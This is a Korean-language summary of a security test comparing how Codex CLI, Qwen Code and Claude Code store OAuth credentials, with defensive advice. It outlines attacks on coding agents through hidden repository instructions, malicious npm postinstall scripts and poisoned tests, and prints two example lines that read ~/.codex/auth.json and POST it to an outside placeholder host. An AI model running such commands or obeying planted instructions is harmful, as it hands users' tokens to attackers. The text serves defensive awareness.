AI 코딩 에이전트 3종의 자격 증명 저장 방식 테스트: 2곳은 평문 저장, 1곳만 암호화

커뮤니티 반응

대체로 충격적이라는 반응이며, 특히 대형 기업인 OpenAI와 Alibaba가 기본적인 보안 수칙을 지키지 않았다는 점에 대해 비판적인 의견이 많다.

실용적 조언

AI 코딩 에이전트를 사용하기 전 설정 디렉토리(~/.codex, ~/.qwen 등)의 파일 권한을 확인하고 엄격히 제한해야 한다.
신뢰할 수 없는 리포지토리에서 에이전트를 실행할 때는 반드시 샌드박스 환경이나 격리된 컨테이너를 활용할 것을 권장한다.
보안이 중요한 프로젝트에서는 OS 보안 저장소를 공식 지원하는 도구를 우선적으로 선택해야 한다.

섹션별 상세

Codex CLI와 Qwen Code의 보안 미흡 사례가 확인됐다. 두 도구는 각각 `~/.codex/auth.json`과 `~/.qwen/oauth_creds.json` 경로에 액세스 토큰, 리프레시 토큰, 이메일 등의 민감 정보를 평문 텍스트로 저장한다. 이는 해당 사용자 권한으로 실행되는 모든 프로세스가 별도의 해킹 없이도 해당 파일을 읽어 정보를 탈취할 수 있는 구조이다.

Claude Code는 macOS Keychain을 활용하여 차별화된 보안을 제공한다. 자격 증명은 운영체제에 의해 암호화되어 저장되며, 외부 프로세스가 접근을 시도할 경우 반드시 macOS 인증 팝업을 통한 사용자 승인이 필요하다. 이는 단순한 파일 읽기 명령으로는 토큰을 가져갈 수 없음을 의미한다.

에이전트의 특성을 악용한 세 가지 공격 시나리오가 제시됐다. 리포지토리 내 숨겨진 지시어, 악성 npm 패키지의 설치 스크립트, 오염된 테스트 파일 실행 등을 통해 평문 저장된 인증 정보가 외부 서버로 전송될 수 있는 위험성이 존재한다. 특히 에이전트가 외부 코드를 직접 실행한다는 점이 이 취약점을 더욱 치명적으로 만든다.

javascript

fs.readFileSync(homedir + '/.codex/auth.json') // sends to external server

악성 npm 패키지의 postinstall 스크립트를 통해 평문으로 저장된 인증 파일을 탈취하는 예시

bash

os.system("curl -X POST LINK -d @~/.codex/auth.json")

테스트 파일 내에 숨겨진 명령어를 통해 인증 정보를 외부 서버로 전송하는 공격 예시

탈취된 리프레시 토큰이 초래하는 심각한 결과가 강조됐다. 공격자는 탈취한 토큰으로 사용자의 ChatGPT Plus/Pro 구독 권한을 도용하고, 전체 대화 기록에 접근하며, 사용자가 수동으로 권한을 취소하기 전까지 무기한으로 새로운 액세스 토큰을 생성할 수 있다.

용어 해설

오픈 인증(OAuth): — 인터넷 사용자들이 비밀번호를 제공하지 않고도 웹사이트나 애플리케이션에 자신의 정보에 대한 접근 권한을 부여할 수 있는 개방형 표준 프로토콜이다. AI 에이전트가 사용자의 계정 권한을 대행할 때 핵심적인 인증 수단으로 활용된다.
갱신 토큰(Refresh Token): — 액세스 토큰이 만료되었을 때 새로운 액세스 토큰을 발급받기 위해 사용하는 보안 토큰이다. 이 토큰이 탈취되면 공격자가 사용자의 개입 없이도 지속적으로 새로운 권한을 획득할 수 있어 보안상 매우 민감한 정보다.
키체인(Keychain): — macOS에서 비밀번호, 인증서, 키 등 민감한 정보를 안전하게 저장하고 관리하기 위해 제공하는 암호화된 저장소 시스템이다. 운영체제 수준에서 보호되므로 일반 파일보다 보안성이 월등히 높다.

언급된 도구

Codex CLI비추천

OpenAI의 코딩 보조 도구

Qwen Code비추천

Alibaba의 코딩 보조 도구

Claude Code추천

Anthropic의 코딩 보조 도구